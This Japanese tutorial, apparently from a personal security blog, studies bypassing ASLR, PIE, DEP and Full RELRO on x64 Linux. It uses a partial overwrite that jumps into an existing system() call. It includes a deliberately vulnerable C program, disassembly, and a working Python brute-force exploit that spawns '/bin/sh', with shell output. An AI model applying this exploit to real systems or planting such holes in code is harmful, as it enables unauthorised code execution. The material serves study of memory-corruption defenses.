x64でPartial overwriteとsystem関数を使ったASLR+PIE+DEP+FullRELRO回避について考えてみる
「x64でBuffer over-read+Partial overwrite他によるASLR+PIE+DEP+FullRELRO回避をやってみる」では、Buffer over-readによるInformation leakを利用してx64環境かつPIEが有効な条件下におけるシェル起動を行った。 ここでは、Information leakを利用する代わりにソースコード中で使われているsystem関数を利用することで、PIE回避が可能な状況について考えてみる。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ clang --version Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)
脆弱性のあるコードを書いてみる
まず、system関数がソースコード中で呼ばれているという条件のもと、スタックバッファオーバーフローを起こせるコードを書く。
/* bof.c */ #include <unistd.h> #include <stdlib.h> #include <string.h> void anywhere() { char buf[] = "echo foobar"; system(buf); } char *f(char *p, int p_size) { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); strncpy(p, buf, p_size); return p; } int main() { char *p; int p_size = 20; p = malloc(p_size); f(p, p_size); free(p); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後、そのデータをmalloc関数で確保したバッファにコピーする。 また、関数fはコピーした文字列を戻り値として戻すようになっており、anywhere関数の中で呼ばれるsystem関数自体はシェルを起動しない。
gccを使い、ASLR、PIE、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now -fPIE -pie bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out $ echo $? 0
このプログラムは何も出力しないが、プログラム自体は正常終了していることが確認できる。
文字列を指すポインタを返す関数とgccにおける関数呼び出し
コンパイルしたプログラムをディスアセンブルして、関数anywhereに対応する部分を見てみると次のようになる。
$ objdump -d a.out | sed -n '/<anywhere>:/,/^$/p' 00000000000008a5 <anywhere>: 8a5: 55 push rbp 8a6: 48 89 e5 mov rbp,rsp 8a9: 48 83 ec 10 sub rsp,0x10 8ad: 48 b8 65 63 68 6f 20 movabs rax,0x6f6f66206f686365 8b4: 66 6f 6f 8b7: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 8bb: c7 45 f8 62 61 72 00 mov DWORD PTR [rbp-0x8],0x726162 8c2: 48 8d 45 f0 lea rax,[rbp-0x10] 8c6: 48 89 c7 mov rdi,rax 8c9: e8 62 fe ff ff call 730 <system@plt> 8ce: c9 leave 8cf: c3 ret
ここで、8c6の箇所で第一引数がセットされるrdiレジスタがraxレジスタからmovされていることに注目する。 raxレジスタには基本的に関数の戻り値がセットされる。 これを踏まえ、関数fに対応する部分を見てみると次のようになる。
$ objdump -d a.out | sed -n '/<f>:/,/^$/p' 00000000000008d0 <f>: ... 915: 8b 85 74 ff ff ff mov eax,DWORD PTR [rbp-0x8c] 91b: 48 63 d0 movsxd rdx,eax 91e: 48 8d 4d 90 lea rcx,[rbp-0x70] 922: 48 8b 85 78 ff ff ff mov rax,QWORD PTR [rbp-0x88] 929: 48 89 ce mov rsi,rcx 92c: 48 89 c7 mov rdi,rax 92f: e8 ec fd ff ff call 720 <strncpy@plt> 934: 48 8b 85 78 ff ff ff mov rax,QWORD PTR [rbp-0x88] 93b: c9 leave 93c: c3 ret
raxには関数fの戻り値であるバッファのアドレス[rbp-0x88]
が入っている。
このバッファには入力した文字列が入るため、ここに引数としたい文字列をセットして上述の8c6にジャンプできれば任意のコマンドが実行できることになる。
main関数から関数fを呼び出している部分を調べてみる。
$ objdump -d a.out | sed -n '/<main>:/,/^$/p' 000000000000093d <main>: ... 959: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 95d: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] 960: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 964: 89 d6 mov esi,edx 966: 48 89 c7 mov rdi,rax 969: e8 62 ff ff ff call 8d0 <f> 96e: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 972: 48 89 c7 mov rdi,rax 975: e8 96 fd ff ff call 710 <free@plt> 97a: b8 00 00 00 00 mov eax,0x0 97f: c9 leave 980: c3 ret
上の結果から、リターンアドレスは96eとなることがわかる。 したがって、Partial overwriteを利用して関数fのリターンアドレスをX96e→X8c6(Xは共通のランダムな4ビット)に書き換えれば、残り4ビットのブルートフォース、すなわち16回程度の試行でジャンプが成功する。
エクスプロイトコードを書いてみる
上の内容をもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_call_system = 0x8c6 buf = '/bin/sh <&2 >&2\x00' buf += 'A' * (bufsize-len(buf)) buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<H', addr_call_system & 0xFFFF) # partial overwrite i = 0 while True: print i i += 1 p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。
引数をセットし実行してみる。
$ python exploit.py 100 0 1 2 3 4 $ id uid=1000(user) gid=1000(user) groups=1000(user) $ [CTRL+D] [CTRL+C]
この場合は5回目の試行でシェルを起動することができた。
clangでコンパイルするとどうなるか
さらに、gccの代わりにclangでコンパイルし、関数anywhereのディスアセンブル結果を調べてみる。
$ clang -fno-stack-protector -Wl,-z,relro,-z,now -fPIE -pie bof.c $ objdump -d a.out | sed -n '/<anywhere>:/,/^$/p' 00000000000008b0 <anywhere>: 8b0: 55 push rbp 8b1: 48 89 e5 mov rbp,rsp 8b4: 48 83 ec 10 sub rsp,0x10 8b8: 48 8d 7d f4 lea rdi,[rbp-0xc] 8bc: 48 8b 05 71 01 00 00 mov rax,QWORD PTR [rip+0x171] # a34 <_IO_stdin_used+0x4> 8c3: 48 89 45 f4 mov QWORD PTR [rbp-0xc],rax 8c7: 8b 0d 6f 01 00 00 mov ecx,DWORD PTR [rip+0x16f] # a3c <_IO_stdin_used+0xc> 8cd: 89 4d fc mov DWORD PTR [rbp-0x4],ecx 8d0: e8 5b fe ff ff call 730 <system@plt> 8d5: 89 45 f0 mov DWORD PTR [rbp-0x10],eax 8d8: 48 83 c4 10 add rsp,0x10 8dc: 5d pop rbp 8dd: c3 ret
上の結果から、rdiレジスタにスタック上のアドレスをセットしてから、そのアドレスにraxレジスタの値をセットしていることがわかる。 しかし、その間で実行ファイル中のアドレスを直接指定する形でraxレジスタに値が代入されていることから、今回の方法は適用できない。 実際、今回の方法は、gccがコンパイルする際、ローカル変数の初期化と同時に行われる文字列の代入を即値のmovで行うという挙動に依存したものであり、コンパイラが第一引数となるrdiレジスタへの値のセットにraxレジスタを使う点も仕様によって定められたものではない。 したがって、今回の方法が適用できるかどうかは、ソースコード中においてsystem関数の引数がどのように組み立てられているか、そしてそれをコンパイラがどのようにコンパイルするかに大きく依存するといえる。